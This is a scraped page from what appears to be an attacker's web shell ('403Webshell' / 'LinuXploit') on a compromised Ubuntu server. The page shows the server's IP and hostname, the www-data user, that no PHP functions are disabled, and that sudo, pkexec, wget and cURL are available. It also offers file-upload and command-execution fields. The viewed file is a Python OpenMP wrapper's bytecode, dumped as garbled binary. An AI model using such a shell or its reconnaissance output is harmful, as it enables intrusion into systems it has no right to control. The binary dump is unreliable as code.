403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/omp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/omp/__pycache__/__init__.cpython-310.pyc
o

�@�a��@s�dZddlmZddlmZmZmZddlmZm	Z	ddl
Z
ddlZddlZzddl
mZWn
ey;dd�ZYnwe�ZGd	d
�d
e�Ze�eje<dS)z:OpenMP wrapper using a libgomp dynamically loaded library.�)�find_library)�check_output�CalledProcessError�DEVNULL)�msvc_runtime_major�get_shared_lib_extensionN)�compilercCstj�dd�S)N�CXXzc++)�os�environ�get�r
r
�./usr/lib/python3/dist-packages/omp/__init__.pyrsrc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�OpenMPz�
    Internal representation of the OpenMP module.

    Custom class is used to dynamically add omp runtime function
    to this library when function is called.
    cCs(t�}|dur
|��dS|�|�dS)N)r�
init_not_msvc�	init_msvc)�self�verr
r
r�__init__szOpenMP.__init__cCs.td|�}|std��t�|�|_d|_dS)Nzvcomp%d.dllz(I can't find a shared library for vcomp.�)r�ImportError�ctypes�CDLL�libomp�version)rr�
vcomp_pathr
r
rr%s

zOpenMP.init_msvccCsgd�S)z&Return list of OpenMP libraries to try)�omp�gomp�iomp5r
)rr
r
r�get_libomp_names.szOpenMP.get_libomp_namesc
Cs`g}tjdkrddg}ndg}g}|D]}tj�|d�}|r'|�|�tj��q|��}t	durb|D]/}t	d�
|t��g}zt|t
d�}tj�|�����}	|	rU|�|	�Wq2ttfyaYq2w|D]B}t|�}
|
s�|D]}	tj�|	d	�
|t���}tj�|�r�|}
nqn|
r�zt�|
�|_Wnty�td
�
|
���wd|_dSqdtd�
|d
���)z? Find OpenMP library and try to load if using ctype interface. �darwin�DYLD_LIBRARY_PATH�DYLD_FALLBACK_LIBRARY_PATH�LD_LIBRARY_PATH�Nz-print-file-name=lib{}{})�stderrzlib{}{}z[found openMP library '{}' but couldn't load it. This may happen if you are cross-compiling.�-zkI can't find a shared library for libomp, you may need to install it or adjust the {} environment variable.r)�sys�platformr
rr�extend�split�pathsepr�cxx�formatrrr�path�dirname�decode�strip�append�OSErrorrr�join�isfilerrrrr)r�env_vars�paths�env_var�	env_paths�libomp_names�libomp_name�cmd�outputr.�libomp_path�candidate_pathr
r
rr2st

����
��������	
�zOpenMP.init_not_msvccCs|dkr|jSt|jd|�S)z�
        Get correct function name from libgomp ready to be use.

        __getattr__ is call only `name != libomp` as libomp is a real
        attribute.
        �VERSION�omp_)r�getattrr)r�namer
r
r�__getattr__vszOpenMP.__getattr__N)	�__name__�
__module__�__qualname__�__doc__rrrrrDr
r
r
rrs	Dr)rH�ctypes.utilr�
subprocessrrr�numpy.distutils.misc_utilrrrr
r'�pythran.configrrr,�objectr�modulesrEr
r
r
r�<module>s�m

Youez - 2016 - github.com/yon3zu
LinuXploit